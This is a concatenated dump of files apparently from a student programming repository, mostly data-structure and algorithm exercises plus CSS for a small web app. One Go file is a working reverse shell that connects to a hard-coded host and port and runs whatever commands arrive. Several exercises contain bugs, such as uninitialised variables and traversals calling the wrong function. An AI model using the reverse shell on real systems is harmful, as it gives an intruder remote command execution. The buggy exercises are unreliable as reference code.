//If we take n/2 as gap, then time complexity = O(nlogn)
//Some other variations include O(n^3/2) and O(n^5/3) for prime numbers as gap.
//Shell sort does inplace sorting so no extra space is required.

#include <stdio.h>

void swap(int *a, int *b)
{
    int temp = *a;
    *a = *b;
    *b = temp;
}

void ShellSort(int A[], int n)
{
    int j, x;
    int gap = n/2;
    while(gap > 0){
        for(int i = 0; i < n; i++)
        {
            if(i+gap < n && A[i+gap] < A[i]) swap(&A[i], &A[i+gap]);
            j = i-gap;
            x = A[i];
            while(j > -1 && A[j] > x){
                A[j+gap] = A[j];
                j = j-gap;
            }
            A[j+gap] = x;
        }
        gap = gap/2;
    }
}

int main()
{
    int A[] = {62, 23, 51, 79, 6, 19, 28, 39, 120};
    int n = sizeof(A)/sizeof(A[0]);

    //Array Sorted
    ShellSort(A, n);
    printf("Sorted : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}

<|start_filename|>DSA/Searching/min_pairs.cpp<|end_filename|>
#include<iostream>
#include<algorithm>
#include<vector>
#include<climits>
using namespace std;

void min_pair(vector<int> a1,vector<int> a2){


	sort(a2.begin(),a2.end());

	int p1,p2;
	int diff = INT_MAX;

	//iterate over 1 array and look for closes elements in the second array
	for(int x : a1){
		auto lb = lower_bound(a2.begin(),a2.end(),x) - a2.begin();

		//left
		if(lb>=1 and x - a2[lb-1] < diff){
			diff = x - a2[lb-1];
			p2 = x;
			p1 = a2[lb-1];
		}
		//greater / right
		if(lb!=a2.size() and a2[lb]-x < diff){
			diff = a2[lb] - x;
			p1 = x;
			p2 = a2[lb];
		}

	}
	cout<<"Min Pair "<<p1<<" and "<<p2 <<endl;
	return;

}


int  main(){

	vector<int> a1 = {-1, 5, 10, 20, 3};
	vector<int> a2 = {26, 134, 135, 15, 17};
	min_pair(a1,a2);


	return 0;
}

<|start_filename|>DSA/Strings/sort.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {

    //using char
   /* char ch[3]={'b','c','a'};
    sort(ch,ch+3);

    for(int i=0;i<3;i++)
    cout<<ch[i]<<" ";*/

    //using string
    string s="bcdaf";
    sort(s.begin(),s.end());

    cout<<s;
}


<|start_filename|>Java/SwapNodesInPairs.java<|end_filename|>
public class SwapNodesInPairs {
    public ListNode swapPairs(ListNode head) {
    if (head == null || head.next == null) 
        return head;
    ListNode p1 = head, p2 = head.next, p3 = p2.next;
    p1.next = p3;
    p2.next = p1;

    if (p3 != null) {
        p1.next = swapPairs(p3);
    }

    return p2;
    }
}

<|start_filename|>Python/Sakha/Sakha/templates/sites/aboutus.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/aboutus.min.css')}}">
{% endblock stylesheet %}

{% block body %}
{% endblock %}

<|start_filename|>DSA/STL/set.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n;
    cin>>n;
    set<string>s;

    for(int i=0;i<n;i++)
    {
        string str;
        cin>>str;
       s.insert(str);
    }

    for(auto x:s)
    cout<<x<<" ";

}

<|start_filename|>DSA/Recursion/power.cpp<|end_filename|>
#include <iostream>
using namespace std;

int power(int base,int exp)
{
    if(exp==0)
    return 1;
    else
    return base*power(base,exp-1);
}

int main() {
    int base,exp;
    cin>>base>>exp;

    cout<<power(base,exp);
}


<|start_filename|>DSA/Recursion/rat_maze.cpp<|end_filename|>
//given mxn maze find and count all possible paths that helps in escaping the rat
//it can move only forwards and downwards

#include <iostream>
using namespace std;

//i,j-> coordinates of current cell
//m,n-> coordinates of last cell
bool solve( char maze[10][10],int sol[10][10],int i,int j,int m,int n)
{
    if(m==i && n==j)
    {
        sol[m][n]=1;

        //printing the path
        for(i=0;i<m;i++)
        {
            for(j=0;j<n;j++)
            {
                cout<<sol[i][j]<<" ";
            }
            cout<<endl;
        }   
        cout<<endl;
        return true;
    }
    if(i>m || j>n)
    return false;

    //cell is blocked
    if(maze[i][j]=='X')
    return false;

    //Assuming this condition
    sol[i][j]=1;
    bool down=solve(maze,sol,i+1,j,m,n);
    bool forward=solve(maze,sol,i,j+1,m,n);

    //backtracking
    sol[i][j]=0;


    if(down || forward)
    return true;
    // else
    return false;
}

int main() {
    char maze[10][10]={"0000","0x00","00x0","000x"};
    int sol[10][10]={0};
    int m,n;

    solve(maze,sol,0,0,m-1,n-1);
    return 0;
}
#include <iostream>
using namespace std;

//i,j-> coordinates of current cell
//m,n-> coordinates of last cell
bool solve( char maze[10][10],int sol[10][10],int i,int j,int m,int n)
{
    if(m==i && n==j)
    {
        sol[m][n]=1;
        //printing the path
        int k1,k2;

        for(k1=0;k1<m;k1++)
        {
            for(k2=0;k2<n;k2++)
            {
                cout<<sol[k1][k2]<<" ";
            }
            cout<<endl;
        }   
        cout<<endl;
        return true;
    }
    if(i>m || j>n )
    return false;

    //cell is blocked
    if(maze[i][j]=='X')
    return false;

    //Assuming this condition
    sol[i][j]=1;
    bool down=solve(maze,sol,i+1,j,m,n);
    bool forward=solve(maze,sol,i,j+1,m,n);

    //backtracking
    sol[i][j]=0;


    if(down || forward)
    return true;
    // else
    return false;
}

int main() {
    char maze[10][10];
    // ={{'0','0','0','0'},
    // {'0','x','0','0'},
    // {'0','0','x','0'},
    // {'0','0','0','x'}};
    int m,n;
    cin>>m>>n;

    for(int i=0;i<m;i++){
        for(int j=0;j<n;j++){
            cin>>maze[i][j];
        }
    }
    int sol[10][10]={0};
    // int m,n;

    solve(maze,sol,0,0,m,n);
    return 0;
}


<|start_filename|>Python/Sakha/Sakha/static/css/createPost.css<|end_filename|>
/*************************
REGISTRATION FORM SECTION
**************************/
.form {
  border: .12em dashed #888;
  padding: 2em 1.5em;
}

.form--main {
  width: 90%;
  max-width: 640px;
  margin: 8em auto 3em;
  background-color: var(--color-white);
  font-family: 'Poppins',sans-serif;
  -webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.8);
          box-shadow: 0 0 10px rgba(0, 0, 0, 0.8);
  padding: .45em;
}

.form legend {
  display: block;
  text-align: center;
  margin-bottom: 2em;
  font-size: 1.3em;
  text-transform: uppercase;
  font-weight: 700;
  font-family: 'Nunito',sans-serif;
  color: var(--general-color);
  letter-spacing: .1em;
  position: relative;
}

.form legend::after, .form legend::before {
  content: '';
  position: absolute;
  bottom: 0;
  width: 30%;
  height: .2em;
  border-radius: 50%;
}

.form legend::after {
  right: 0;
  left: 60%;
  background-image: -webkit-gradient(linear, left bottom, right top, color-stop(30%, var(--grad-color-1)), color-stop(50%, var(--grad-color-2)), to(var(--grad-color-3)));
  background-image: linear-gradient(to top right, var(--grad-color-1) 30%, var(--grad-color-2) 50%, var(--grad-color-3));
}

.form legend::before {
  left: 10%;
  background-image: -webkit-gradient(linear, right bottom, left top, color-stop(30%, var(--grad-color-1)), color-stop(50%, var(--grad-color-2)), to(var(--grad-color-3)));
  background-image: linear-gradient(to top left, var(--grad-color-1) 30%, var(--grad-color-2) 50%, var(--grad-color-3));
}

.form__group {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  margin-bottom: 1em;
}

.form__group label {
  text-transform: uppercase;
  font-weight: 500;
  color: var(--label-color);
  letter-spacing: .03em;
}

.form__group textarea {
  width: 100%;
  padding: .6em .7em;
  font-family: 'Roboto',sans-serif;
  font-size: 1em;
  letter-spacing: .75px;
  font-weight: 400;
  background-color: var(--input-color);
  border-radius: .25em;
  border: none;
  border: 0.1em solid var(--input-color);
  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.4);
          box-shadow: 0 0 3px rgba(0, 0, 0, 0.4);
  outline: none;
  resize: vertical;
  height: 15em;
}

.form__group textarea:focus {
  border-color: var(--input-border-color);
}

.form__group span {
  font-family: 'Poppins',sans-serif;
  font-size: .7em;
  font-weight: 600;
  letter-spacing: .02em;
  color: #ce2727;
}

.form__submit__group {
  margin-bottom: 1em;
}

.form__submit__group input[type="submit"] {
  margin-top: 1em;
  text-transform: uppercase;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-color-1)), to(var(--btn-color-2)));
  background-image: linear-gradient(to top, var(--btn-color-1), var(--btn-color-2));
  color: var(--color-white);
  width: 100%;
  padding: .75em;
  font-weight: 500;
  font-family: 'Poppins',sans-serif;
  border: none;
  font-size: 1em;
  position: relative;
  border-radius: .35em;
  letter-spacing: .05em;
  -webkit-box-shadow: 0 0 4px var(--btn-shadow-color);
          box-shadow: 0 0 4px var(--btn-shadow-color);
}

.form__submit__group input[type="submit"]:hover, .form__submit__group input[type="submit"]:focus {
  cursor: pointer;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-hover-color-1)), to(var(--btn-hover-color-2)));
  background-image: linear-gradient(to top, var(--btn-hover-color-1), var(--btn-hover-color-2));
}

.form ::-webkit-input-placeholder {
  font-style: italic;
}

.form :-ms-input-placeholder {
  font-style: italic;
}

.form ::-ms-input-placeholder {
  font-style: italic;
}

.form ::placeholder {
  font-style: italic;
}

/******************
Upload Button Styling
*********************/
input {
  font-family: 'Nunito',sans-serif;
  font-weight: 500;
  font-size: 1em;
}

.form__group input::file-selector-button {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::file-selector-button:hover, .form__group input::file-selector-button:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}

.form__group input::-ms-browse {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::-ms-browse:hover, .form__group input::-ms-browse:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}

.form__group input::-webkit-file-upload-button {
  padding: .7em 2.5em;
  font-family: 'Poppins',sans-serif;
  font-size: 1em;
  font-weight: 500;
  background-image: linear-gradient(60deg, #29323c 0%, #485563 100%);
  color: var(--color-white);
  border: none;
  border-radius: .4em;
  -webkit-transition: background-color 300ms ease-out;
  transition: background-color 300ms ease-out;
}

.form__group input::-webkit-file-upload-button:hover, .form__group input::-webkit-file-upload-button:focus {
  cursor: pointer;
  background-image: linear-gradient(60deg, #2f353b 0%, #223a53 100%);
}


<|start_filename|>CPP/Data Structures/math/exactly_3_divisors.cpp<|end_filename|>
// // { Driver Code Starts
// //Initial Template for C++
// #include <bits/stdc++.h>
// using namespace std;
//  // } Driver Code Ends
// //User function Template for C++
// class Solution{
//     public:
//     void exactly3Divisors(int n)
//     {
//         vector<int>prime;
//         for(int i=0;i<=n;i++)
//         {
//             prime.push_back(1);
//         }
//         prime[0]=0;
//         prime[1]=0;
//         for(int i=2;i<=sqrt(n);i++)
//         {
//             for(int j=2;j*i<=n;j++)
//             {
//                 prime[i*j]=0;
//             }
//         }
//         vector<int>final_prime;
//         for(int i=0;i<=n;i++)
//         {
//             if(prime[i]==1)
//             {
//                 final_prime.push_back(i);
//             }
//         }
//         //cout<<"size of final:   "<<final_prime.size()<<endl;
//         for(int i=0;i<=final_prime.size();i++)
//         {
//             int x=(pow(final_prime[i],2));
//             final_prime[i]=pow(final_prime[i],2);
         
//         }
//         int count=0;
//         for(auto i:final_prime)
//         {
//             if(i<=n)
//             cout<< i<<" has only 3 divisor"<<endl;; 
//             count++;=
//         } 
//         cout<<"totally "<<count<<"numbers has 3 divisors";

//     }
     
// };
// // { Driver Code Starts.
// int main()
//  {
//     int N;        
//     //taking N
//     cin>>N; 
//     Solution ob;
//     ob.exactly3Divisors(N);
//     //calling function exactly3Divisors()
//     //cout<<ob.exactly3Divisors(N)<<endl;
//     return 0;
//  }  // } Driver Code Ends


<|start_filename|>JS/Discord-Api-Package/index.js<|end_filename|>
module.exports.Client = require('./Discord')

<|start_filename|>Python/Sakha/Sakha/static/css/home.css<|end_filename|>
/***************************
HOMEPAGE WHEN USER IS NOT LOGGED IN
***************************/
.home--general--main {
  margin-top: 4.6em;
  background-color: var(--color-white);
  width: 100%;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  padding: 0 1.5em 3em;
}

.home__svg__container {
  width: 100%;
}

.home__svg__container img {
  display: block;
  width: 100%;
}

.home__content__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  font-family: 'Poppins',sans-serif;
}

.home__content__container h1 {
  font-family: 'Nunito', cursive;
  -ms-flex-item-align: start;
      align-self: flex-start;
  margin-bottom: .35em;
  letter-spacing: .06em;
  text-transform: uppercase;
  font-size: 2.3em;
  color: var(--h1-color);
  text-shadow: 0 0 3px rgba(0, 0, 0, 0.35);
}

.home__content__container p {
  color: var(--nav-heading-color);
  font-size: 1em;
}

.home__content__container p a {
  display: inline-block;
  color: var(--general-color);
  text-decoration: none;
  font-weight: 600;
}

.home__content__container p a:hover, .home__content__container p a:focus {
  -webkit-text-decoration: 2px underline currentColor;
          text-decoration: 2px underline currentColor;
  text-underline-offset: .15em;
}

.login__link {
  -ms-flex-item-align: start;
      align-self: flex-start;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
  padding: .75em 1.5em .75em 2.5em;
  text-decoration: none;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-color-1)), to(var(--btn-color-2)));
  background-image: linear-gradient(to top, var(--btn-color-1), var(--btn-color-2));
  margin-top: 2em;
  text-transform: uppercase;
  color: var(--color-white);
  border-radius: .25em;
  -webkit-box-shadow: 0 0 4px var(--btn-shadow-color);
          box-shadow: 0 0 4px var(--btn-shadow-color);
}

.login__link i {
  margin-left: 1em;
}

.login__link:hover, .login__link:focus {
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-hover-color-1)), to(var(--btn-hover-color-2)));
  background-image: linear-gradient(to top, var(--btn-hover-color-1), var(--btn-hover-color-2));
}

/******************************
HOMEPAGE WHEN USER IS LOGGED IN
*******************************/
.home__logged--main {
  background-color: var(--home-logged-bg);
  width: 100%;
  margin-top: 4.6em;
  padding: 3em 2em;
  font-family: 'Poppins',sans-serif;
}

.home__logged__posts__container {
  max-width: 540px;
  margin: 0 auto 2em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
  grid-row-gap: 2em;
}

.home__logged__posts__container article {
  width: 100%;
  background-color: var(--color-white);
  -webkit-box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
          box-shadow: 0 0 15px rgba(0, 0, 0, 0.15);
  border-radius: .5em;
  display: -ms-grid;
  display: grid;
  -ms-grid-columns: 1fr;
      grid-template-columns: 1fr;
}

.home__logged__posts__container article:hover {
  -webkit-box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
          box-shadow: 0 0 20px rgba(0, 0, 0, 0.35);
}

.create__post__btn {
  width: 100%;
  text-transform: uppercase;
  display: block;
  text-decoration: none;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-color-1)), to(var(--btn-color-2)));
  background-image: linear-gradient(to top, var(--btn-color-1), var(--btn-color-2));
  color: var(--color-white);
  padding: 1em;
  font-weight: 500;
  font-family: 'Poppins',sans-serif;
  border: none;
  font-size: 1.2em;
  letter-spacing: .05em;
  -webkit-box-shadow: 0 0 4px var(--btn-shadow-color);
          box-shadow: 0 0 4px var(--btn-shadow-color);
  border-radius: .35em;
  text-align: center;
}

.create__post__btn__container {
  max-width: 540px;
  margin: 2em auto 4em;
}

.create__post__btn:hover, .create__post__btn:focus {
  cursor: pointer;
  background-image: -webkit-gradient(linear, left bottom, left top, from(var(--btn-hover-color-1)), to(var(--btn-hover-color-2)));
  background-image: linear-gradient(to top, var(--btn-hover-color-1), var(--btn-hover-color-2));
}

.create__post__btn i {
  margin-right: .6em;
}

.post {
  /***************************
POST AUTHOR RELATED STYLING
***************************/
  /****************************
POST BUTTONS RELATED STYLING
*****************************/
}

.post__header {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: justify;
      -ms-flex-pack: justify;
          justify-content: space-between;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
  padding: 1em;
}

.post__author__container {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__img__wrapper a {
  text-decoration: none;
  display: block;
  margin-right: .5em;
  width: 3em;
  height: 3em;
  border-radius: 50%;
}

.post__author__img__wrapper img {
  width: 100%;
  height: 100%;
  -o-object-fit: cover;
     object-fit: cover;
  display: block;
  border-radius: 50%;
  border: 2px solid var(--general-color);
}

.post__author__name__container div {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: start;
      -ms-flex-pack: start;
          justify-content: flex-start;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.post__author__name__container div a {
  text-decoration: none;
  display: block;
}

.post__author__name__container .author__name {
  font-size: .9em;
  color: var(--h1-color);
  line-height: 1.3;
}

.post__author__name__container .author__name:hover, .post__author__name__container .author__name:focus {
  opacity: .65;
}

.post__author__name__container .current__user {
  margin-left: 1.5em;
  padding: .15em .8em;
  border-radius: .75em;
  text-align: center;
  color: var(--color-white);
  font-size: .75em;
  letter-spacing: .03em;
  background-color: #36b336;
}

.post__author__name__container span {
  line-height: 1.2;
  font-size: .75em;
  display: block;
  color: #636166;
  font-weight: 600;
}

.post__related__btn__links__container {
  position: relative;
}

.post__related__btn__links__container .sideNavShowBtn,
.post__related__btn__links__container .sideNavHideBtn {
  background: transparent;
  border: none;
  cursor: pointer;
}

.post__related__btn__links__container .sideNavShowBtn i,
.post__related__btn__links__container .sideNavHideBtn i {
  padding: .15em;
}

.post__related__btn__links__container div {
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-pack: center;
      -ms-flex-pack: center;
          justify-content: center;
  -webkit-box-align: start;
      -ms-flex-align: start;
          align-items: flex-start;
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
      -ms-flex-direction: column;
          flex-direction: column;
  position: absolute;
  top: -1em;
  right: -1em;
  width: 8em;
  background-color: #f3ecff;
  padding: 2em .75em 1em;
  -webkit-clip-path: polygon(var(--x, 100%) 0, 100% 0, 100% 100%, var(--x, 100%) 100%);
          clip-path: polygon(var(--x, 100%) 0, 100% 0, 100% 100%, var(--x, 100%) 100%);
  -webkit-transition: -webkit-clip-path 200ms ease-in-out;
  transition: -webkit-clip-path 200ms ease-in-out;
  transition: clip-path 200ms ease-in-out;
  transition: clip-path 200ms ease-in-out, -webkit-clip-path 200ms ease-in-out;
}

.post__related__btn__links__container div a {
  font-size: .9em;
  text-decoration: none;
  display: block;
  color: var(--general-color);
}

.post__related__btn__links__container div a i {
  margin-right: .2em;
}

.post__related__btn__links__container div a:hover, .post__related__btn__links__container div a:focus {
  opacity: .7;
  cursor: pointer;
}

.post__related__btn__links__container div > a {
  margin-bottom: .25em;
}

.post__related__btn__links__container div .sideNavHideBtn {
  position: absolute;
  top: .75em;
  right: 1em;
}

.show__post__sidenav {
  --x:0;
}

/***************************
POST ASSETS
***************************/
.post__content__container {
  padding: 0 1em;
}

.post__content__container a {
  text-decoration: none;
  display: block;
  color: #333;
  font-family: 'Nunito',sans-serif;
  line-height: 1.5;
  font-size: 1em;
  margin-bottom: .5em;
}

.post__image__container a {
  text-decoration: none;
  width: 100%;
  display: block;
}

.post__image__container img {
  width: 100%;
  display: block;
}

/************************
LIKE AND COMMENT BTNS
*************************/
.post__footer {
  border-top: 1px solid var(--input-border-color);
  padding: .25em;
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  -ms-flex-pack: distribute;
      justify-content: space-around;
  -webkit-box-align: center;
      -ms-flex-align: center;
          align-items: center;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
      -ms-flex-direction: row;
          flex-direction: row;
}

.heart__btn,
.comment__btn {
  text-decoration: none;
  display: block;
  color: #3f3d4f;
  border: none;
  background-color: transparent;
  font-size: 1.5em;
  cursor: pointer;
}

.heart__btn span,
.comment__btn span {
  font-size: .85em;
}

.heart__btn__active {
  color: var(--grad-color-1);
}

/**************************
Overlay Container
**************************/
/********************
MEDIA QUERIES
********************/
@media (min-width: 769px) {
  .home--general--main {
    -ms-grid-columns: (1fr)[2];
        grid-template-columns: repeat(2, 1fr);
    padding: 0 2em 1.5em;
  }
}


<|start_filename|>CPP/Data Structures/math/lcm_using_gcd.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int gcdfn(int a, int b)
{
    int res =min(a,b);
    while(res >0)
    {
        if(b==0)
        return a;
        else
        return gcdfn(b,a%b);
    }
    return a;

}
int lcmfn(int a, int b)
{
    return (a*b)/gcdfn(a,b);
}
int main()
{
    int a=3, b=5;
    cout<<lcmfn(a,b);
}

<|start_filename|>CPP/Data Structures/math/prime_factors.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class Primefactor
{
    public:
    int prime_factor_fn(int n)
    {
        int primefac=0;
        return primefac;
    }
};
int main()
{
    int n=10;
    Primefactor pf;
    cout<<pf.prime_factor_fn(n);
}

<|start_filename|>DSA/Recursion/N-queen.cpp<|end_filename|>
//place queens such that none of them cuts the other



<|start_filename|>Golang/golang_reverse_shell.go<|end_filename|>
package main

import (
   "bufio"
   "fmt"
   "net"
   "os/exec"
   "strings"
)

func main() {
   conn, _ := net.Dial("tcp", "10.1.75.200:8081")
   for {

      message, _ := bufio.NewReader(conn).ReadString('\n')

      out, err := exec.Command(strings.TrimSuffix(message, "\n")).Output()

      if err != nil {
         fmt.Fprintf(conn, "%s\n",err)
      }

      fmt.Fprintf(conn, "%s\n",out)

   }
}


<|start_filename|>DSA/Notes and examples/switch.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main()
{
    char ch;
    cout<<"enter value of character:";
    cin>>ch;
    switch (ch)
    {
    case 'a':
        cout<<"vowel";
        break;
    case 'e':
        cout<<"vowel";
        break;
    case 'i':
        cout<<"vowel";
        break;
    case 'o':
        cout<<"vowel";
        break;
    case 'u':
        cout<<"vowel";
        break;                
    default:
        cout<<"consonant";
    }
    return 0;
}

<|start_filename|>DSA/DSA-VIT/BSTs/LCA.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

class node{
public:
	int data;
	node*right;
	node*left;

	node(int d)
	{
		data=d;
		node*right=NULL;
		node*left=NULL;
	}
};

node* build_tree()
{
	int d;
	cin>>d;
	if(d==-1)
		return NULL;
	node* root=new node(d);
	root->right=build_tree();
	root->left=build_tree();
	return root;
}

void print(node*root)
{
	if(root==NULL)
		return;
	cout<<root->data<<" ->";
	print(root->right);
	print(root->left);
}

void preorder(node*root)
{
	if(root==NULL)
		return;

	//follow root left right
	cout<<root->data<<" ";
	preorder(root->left);
	preorder(root->right);
}

void inorder(node*root)
{
	if(root==NULL)
		return;

	//follow left root right
	preorder(root->left);
	cout<<root->data<<" ";
	preorder(root->right);
}

void postorder(node*root)
{
	if(root==NULL)
		return;

	//follow left right root
	preorder(root->left);
	preorder(root->right);
	cout<<root->data<<" ";
}

int height(node*root)
{
	if(root==NULL)
		return 0;
	int left_size=height(root->left);
	int right_size=height(root->right);
	return max(left_size,right_size)+1;
}

void levelorder(node*root,int k)
{
	if(root==NULL)
		return;
	if (k==1)
	{
		cout<<root->data<<" ";
		return;
	}
	levelorder(root->left,k-1);
	levelorder(root->right,k-1);
}

void bfs(node*root)
{
	queue<node*>q;
	q.push(root->data);
	while(!q.empty())
	{
		node*f=q.front();
		cout<<f->data<<" ";
		q.pop();

		//last node condition
		if(f->left)
			q.push(f->left);
		if(f->right)
			q.push(f->right);
	}
}

int no_nodes(node*root)
{
	if(root==NULL)
		return 0;
	return (no_nodes(root->left)+no_nodes(root->right)+1);
}

int sum_nodes(node*root)
{
	if(root==NULL)
		return 0;
	return (sum_nodes(root->left)+sum_nodes(root->right)+1);
}

int diameter(node*root)
{
	if(root==NULL)
		return 0;

	int h1=height(root->left);
	int h2=height(root->right);
	int case1=h1+h2;
	int case2=diameter(root->left);
	int case3=diameter(root->right);

	return max(case1,max(case2,case3));
}

node* array_tree(int *arr,int start,int end)
{
	int mid=(start+end)/2;
	if(start>end)
		return NULL;

	//making mid element of an array as a root
	node* root=new node(arr[mid]);
	root->left=array_tree(arr,start,mid-1);
	root->right=array_tree(arr,start,mid+1);
	return root;
}

//using preorder and inorder traversal
node* traversaltree(int *pre, int *in,int start,int end)
{
	int i=0,index=-1;
	if(start>end)
		return NULL;
	node*root=new node(pre[i]);

	for(int j=start;j<end;j++)
	{
		if(in[j]==pre[i])
		{
			index=j;
			break;
		}
	}
	i++;
	root->left=traversaltree(pre,in,start,index-1);
	root->right=traversaltree(pre,in,index+1,end);
	return root;
}

void right_view(node*root,int curr_level,int max_level)
{
	if(root==NULL)
		return;
	if(max_level<curr_level)
	{
		cout<<root->data<<" ";
		max_level=curr_level;
	}

	right_view(root->right,curr_level+1,max_level);
	right_view(root->left,curr_level+1,max_level);
}

node* lca(node*root,int a,int b)
{
	if(root==NULL)
		return NULL;
	if(root->data==a or root->data==b)
		return root;

	node*l=lca(root->left,a,b);
	node*r=lca(root->right,a,b);

	if(l!=NULL and r!=NULL)
		return root;
	if(l!=NULL)
		return l;
	return r;
}

int main()
{
	node*root=build_tree();
	print(root);
	inorder(root);
	cout<<"\n";
	postorder(root);
	cout<<"\n";
	height(root);
	cout<<"\n";
	

	return 0;
}

<|start_filename|>DP/Boolean_Parenthesization.cpp<|end_filename|>
#include<iostream>
#include<bits/stdc++.h>
using namespace std;

#include "../debug.h"

int BooleanParenthesization(string &s, int i, int j, bool isTrue){
	if(i > j)
		return false;
	if(i == j){
		if(isTrue == true)
			return s[i] == 'T';
		else
			return s[i] == 'F';
	}

	int ans = 0;
	for(int k=i+1; k<=j-1; k+=2){
		int lT = BooleanParenthesization(s, i, k-1, true);
		int lF = BooleanParenthesization(s, i, k-1, false);
		int rT = BooleanParenthesization(s, k+1, j, true);
		int rF = BooleanParenthesization(s, k+1, j, false);

		if(s[k] == '&'){
			if(isTrue == true)
				ans += lT*rT;
			else
				ans += (lT*rF + lF*rT + lF*lF);
		}
		else if(s[k] == '|'){
			if(isTrue == true)
				ans += (lT*rT + lT*rF + lF*rT);
			else
				ans += lF*rF;
		}
		else if(s[k] == '^'){
			if(isTrue == true)
				ans += (lT*rF + lF*rT);
			else
				ans += (lT*rT + lF*rF);
		}
	}
	return ans;
}

int main(){
	// freopen("../input.txt", "r", stdin);  
	freopen("../output.txt", "w", stdout);
	freopen("../Error.txt", "w", stderr);

	string s = "T^F&T"; // o/p: 3
	// s = "T|T&F^T"; // o/p: 4
	// s = "T|T&F^T"; // o/p: 4
	// s = "T^F|F"; // o/p: 2
	cout<<BooleanParenthesization(s, 0, s.size()-1, true);
}

<|start_filename|>DSA/Notes and examples/linear search.cpp<|end_filename|>
#include <iostream>
using namespace std;

int linearSearch(int arr[], int value)
{
    for(int i=0;i<5;i++)
    {
        if(arr[i]==value)
        return i; 
    }
    return 0;
}


int main() {
    // find position/index of 4
    //T(n)=O(n)
    int arr[]={10,2,3,4,5};
    int i;
    int value=4;
    cout<<"given array is:\n";
    for(i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    
    cout<<"index of 4 is = "<<linearSearch(arr,value);
    return 0;
}


<|start_filename|>DSA/Graphs/articulation_point.cpp<|end_filename|>
/** An articulation point is a node when removed, increases the no. of connected
 * components in a graph. Normally it can be one of the 2 nodes in a bridge,
 * but that is not certain. 
 * 
 * It can occur in 2 conditions, when there is a cycle and when there is a bridge
 * When there is a bridge, the if id(current_node) < low_link(outgoing), then it is an 
 * articulation point
 * 
 * In case of cycle, if id(current_node) == low_link(outgoing), then it is a Ap,
 * but this condition is only possible when there is at least 2 outgoing edge from
 * the current node **/

#include <bits/stdc++.h>
using namespace std;

vector<int> ids(1000, 0);
vector<int> low_link(1000, 0);
vector<bool> visited(1000, false);
vector<bool> isArtPoint(1000, false);
int id = 0;      // to store the unique ids of every node
int outEdge = 0; // to ensure the node has more than 1 outgoing edge

void dfs(vector<vector<int>> adj, int root, int at, int parent, vector<bool> isArtPoint)
{

    if (parent == root)
        outEdge++;
    visited[at] = true;
    id++;
    ids[at] = low_link[at] = id;

